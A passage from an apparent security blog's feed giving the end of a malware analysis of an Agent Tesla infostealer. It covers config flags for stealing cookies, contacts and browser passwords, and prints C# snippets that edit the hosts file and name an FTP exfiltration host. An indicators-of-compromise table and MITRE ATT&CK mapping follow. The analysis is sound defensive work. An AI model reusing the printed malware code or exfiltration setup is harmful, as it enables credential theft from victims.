&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;/&gt;
&lt;code&gt;EnableClipboardLogger&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;/&gt;
&lt;code&gt;EnableTorPanel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot; checked=&quot;&quot;/&gt;
&lt;code&gt;EnableCookies&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot; checked=&quot;&quot;/&gt;
&lt;code&gt;EnableContacts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;/&gt;
&lt;code&gt;DeleteBackspace&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;/&gt;
&lt;code&gt;AppAddStartup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;/&gt;
&lt;code&gt;HideFileStartup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot; checked=&quot;&quot;/&gt;
&lt;code&gt;HostEdit&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code&gt;PublicIpAddressGrab&lt;/code&gt; configuration variable enables sending a request to a service
like IP-API.com to retrieve the public IP address of the machine. However, the &lt;code&gt;IpApi&lt;/code&gt;
configuration variable is set to an empty string so this operation is effectively disabled.&lt;/p&gt;
&lt;p&gt;It’s worth noting that a request &lt;em&gt;is&lt;/em&gt; made to “http://ip-api.com/line/?fields=hosting”
in order to identify whether the IP address belongs to a hosting provider, but the result
does not include the IP itself. Also, the user agent of HTTP(S) requests is set to
“Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0”,
to masquerade the network traffic as originating from a Firefox 99 browser on a Windows 10 device.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;EnableCookies&lt;/code&gt; variable enables exfiltration of browser credentials from several browsers.
However, it is not accessed anywhere in the code so this operation seems to be disabled.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;EnableContacts&lt;/code&gt; variable enables exfiltration of contacts from the Thunderbird mail client.
Thunderbird stores this data in the “identities” table of the “global-messages-db.sqlite” file.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;HostEdit&lt;/code&gt; variable enables editing the hosts file, which may be used to redirect popular
domains to malicious IP addresses. However, no redirects are actually configured, as indicated
by the &lt;code&gt;text&lt;/code&gt; variable being empty in the relevant function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;string text = &quot;&quot;;
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
string text2 = Path.Combine(folderPath, &quot;\\drivers\\etc\\hosts&quot;);
File.AppendAllText(text2, string.Join(Environment.NewLine, text.Split(new char[] { &apos;,&apos; })));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Browser passwords from several browsers are exfiltrated by default and not controlled by the configuration.
The data exfiltration occurs over FTP towards the domain identified by the &lt;code&gt;FtpHost&lt;/code&gt; configuration variable:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;public static string FtpHost = &quot;ftp://ftp.martexbuilt.com.au&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Indicators of Compromise&lt;/h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Type&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Value&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Links&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Comment&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Email&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;export12@bestu-international.shop&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;N/A&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Sender address&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Domain&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;bestu-international.shop&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://mxtoolbox.com/emailhealth/bestu-international.shop/&quot;&gt;MXToolBox&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://www.virustotal.com/gui/domain/bestu-international.shop&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Sender domain&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Domain&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;ftp.martexbuild.com.au&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/domain/ftp.martexbuilt.com.au&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;C2 server&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;IP&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;185.117.90.210&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.abuseipdb.com/check/185.117.90.210&quot;&gt;AbuseIPDB&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Sender IP&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;756e2527fd5a40547e66224ba0933785&lt;wbr&gt;c1c6cc607b89510e863f18f5ef4dcc8f&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/756e2527fd5a40547e66224ba0933785c1c6cc607b89510e863f18f5ef4dcc8f&quot;&gt;VirusTotal&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://any.run/report/756e2527fd5a40547e66224ba0933785c1c6cc607b89510e863f18f5ef4dcc8f/815a9cb4-5cc6-4ac7-881a-371e39f6ca7f&quot;&gt;ANY.RUN&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;AMENDED PO NO. 55963.r00&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;9be483c90186e01bcbf15272b9563385&lt;wbr&gt;5684f83a700f3dafeaa945dcc25bc707&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/9be483c90186e01bcbf15272b95633855684f83a700f3dafeaa945dcc25bc707&quot;&gt;VirusTotal&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://tria.ge/260306-y5kaqsdx9p&quot;&gt;Triage&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;AMENDED PO NO. 55963.JS&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;3638971ea743e157e4f3cd05f91055d2&lt;wbr&gt;6721ac2769e352d8e16eba41d15514d8&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;N/A&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Mands.png (encrypted)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;3dc07bd0d06871debc2fca7e38310e29&lt;wbr&gt;722cfcce75c02b84368070b9d81d788a&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/3dc07bd0d06871debc2fca7e38310e29722cfcce75c02b84368070b9d81d788a&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;ETW / AMSI bypass&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;59ce20dd1fc5baca48a92244368b5e94&lt;wbr&gt;e85920fd78eb409c4366cfc500811656&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;N/A&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Vile.png (encrypted)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;fc640a2a31dce7882edbc7ef4c8ce69c&lt;wbr&gt;c7673ed4a22332685a66b758225ddd64&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/fc640a2a31dce7882edbc7ef4c8ce69cc7673ed4a22332685a66b758225ddd64&quot;&gt;VirusTotal&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://hybrid-analysis.com/sample/fc640a2a31dce7882edbc7ef4c8ce69cc7673ed4a22332685a66b758225ddd64&quot;&gt;Hybrid Analysis&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Agent Tesla&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;MITRE ATT&amp;amp;CK® Techniques&lt;/h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Tactic&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Technique&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Initial Access&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1566/001/&quot;&gt;T1566.001 - Phishing: Spearphishing Attachment&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Execution&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1204/002/&quot;&gt;T1204.002 - User Execution: Malicious File&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Execution&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1059/007/&quot;&gt;T1059.007 - Command and Scripting Interpreter: JavaScript&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Execution&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1059/001/&quot;&gt;T1059.001 - Command and Scripting Interpreter: PowerShell&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Defense Evasion&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1036/008/&quot;&gt;T1036.008 - Masquerading: Masquerade File Type&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Defense Evasion&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1027/013/&quot;&gt;T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Defense Evasion&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1562/001/&quot;&gt;T1562.001 - Impair Defenses: Disable or Modify Tools&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Defense Evasion&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1620/&quot;&gt;T1620 - Reflective Code Loading&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Credential Access&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1555/003/&quot;&gt;T1555.003 - Credentials from Password Stores: Credentials from Web Browsers&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Exfiltration&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1048/003/&quot;&gt;T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;1&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;1&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/office/client-developer/access/desktop-database-reference/stream-object-ado&quot;&gt;Stream object (ADO) | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;2&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;2&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/&quot;&gt;Exploring PowerShell AMSI and Logging Evasion - MDSec&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;3&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;3&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://practicalsecurityanalytics.com/new-amsi-bypss-technique-modifying-clr-dll-in-memory/&quot;&gt;New AMSI Bypss Technique Modifying CLR.DLL in Memory – Practical Security Analytics LLC&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Malspam Analysis</title><id>https://observeroftime.github.io/malspam-analysis/index.html</id><updated>2026-03-07T19:22:34+00:00</updated><link href="https://observeroftime.github.io/malspam-analysis/index.html" rel="alternate"/><content type="html">&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;I am working as a Cyber Security Analysis and, inspired by &lt;a href=&quot;https://www.malware-traffic-analysis.net/index.html&quot;&gt;Malware-Traffic-Analysis.net&lt;/a&gt;,
I decided to start this blog of my own in order to analyse malicious email attachments and
links that I receive on my public email address and, in doing so, hone my skills. The blog
will be updated whenever I receive a malicious email and have the time to analyse it.&lt;/p&gt;
</content></entry></feed>